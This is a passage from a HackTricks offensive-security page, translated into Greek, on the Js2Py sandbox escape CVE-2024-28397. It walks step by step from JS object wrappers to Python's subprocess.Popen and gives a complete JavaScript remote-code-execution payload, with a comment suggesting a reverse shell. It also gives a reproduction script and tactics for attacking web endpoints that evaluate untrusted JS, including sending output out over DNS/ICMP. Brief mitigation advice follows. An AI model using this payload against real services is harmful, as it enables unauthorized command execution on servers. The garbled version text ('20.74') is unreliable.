Js2Py sandbox escape (CVE-2024-28397)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Το Js2Py μεταφράζει JavaScript σε Python αντικείμενα, οπότε ακόμα και όταν χρησιμοποιείται το js2py.disable_pyimport(), μη αξιόπιστο JS μπορεί να διασχίσει τα Python internals για να φτάσει σε επικίνδυνες κλάσεις όπως subprocess.Popen. Οι εκδόσεις 20.74 επιτρέπουν την κατάχρηση των Python reflection primitives που το Js2Py εκθέτει σε JS objects για να αποκτήσει RCE από διαφορετικά “sandboxed” JavaScript.

Βασική τεχνική: pivot από JS object wrappers σε Python objects

  1. Πάρε ένα αντικείμενο υποστηριζόμενο από Python: Object.getOwnPropertyNames({}) επιστρέφει ένα αντικείμενο dict_keys στον χώρο της Python.
  2. Ανάκτησε πρόσβαση σε attributes: πάρε το .__getattribute__ από εκείνο το αντικείμενο και κάλεσέ το για να διαβάσεις αυθαίρετα attributes (π.χ. "__class__").
  3. Σκαρφάλωσε στο object: από <class 'dict_keys'> διάβασε το .__base__ για να φτάσεις στη βασική κλάση object της Python.
  4. Κατάγραψε τις φορτωμένες κλάσεις: κάλεσε object.__subclasses__() για να διασχίσεις κάθε κλάση που έχει φορτωθεί στον interpreter.
  5. Εύρεση subprocess.Popen: αναδρομικά ψάξε στις subclasses όπου __module__ == "subprocess" και __name__ == "Popen".
  6. Εκτέλεσε εντολή: δημιούργησε ένα instance του Popen με παραμέτρους ελεγχόμενες από τον attacker και κάλεσε .communicate() για να συλλέξεις την έξοδο.
Παράδειγμα payload που καταχράται το Js2Py για να φτάσει στο subprocess.Popen ```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;

hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;

function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }

// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back

</details>

Γιατί αυτό λειτουργεί: Το Js2Py εκθέτει περιτυλίγματα αντικειμένων Python στο JS χωρίς να αφαιρεί τα `__getattribute__`, `__class__`, `__base__`, ή `__subclasses__`. Η `disable_pyimport()` μπλοκάρει μόνο ρητά το `pyimport`, αλλά η παραπάνω αλυσίδα δεν εισάγει ποτέ κάτι καινούριο· επαναχρησιμοποιεί ήδη φορτωμένα modules και classes στη μνήμη.

## Τοπική αναπαραγωγή της αλυσίδας
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})"))                      # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__"))    # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY

Ενέργειες εναντίον web sandboxes

  • Οποιοδήποτε endpoint που τροφοδοτεί JavaScript ελεγχόμενο από τον επιτιθέμενο στο js2py.eval_js (για παράδειγμα, ένα Flask /run_code API) αποτελεί άμεσο RCE εάν ο χρήστης της διεργασίας έχει πρόσβαση σε shell.
  • Η επιστροφή του jsonify({'result': result}) θα αποτύχει όταν .communicate() επιστρέφει bytes· αποκωδικοποιήστε ή κατευθύνετε την έξοδο σε DNS/ICMP για να αποφύγετε εμπόδια σειριοποίησης.
  • disable_pyimport() δεν μετριάζει αυτήν την αλυσίδα· απαιτείται σκληρή απομόνωση (ξεχωριστή διεργασία/container) ή η κατάργηση της εκτέλεσης μη αξιόπιστου κώδικα από Js2Py.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks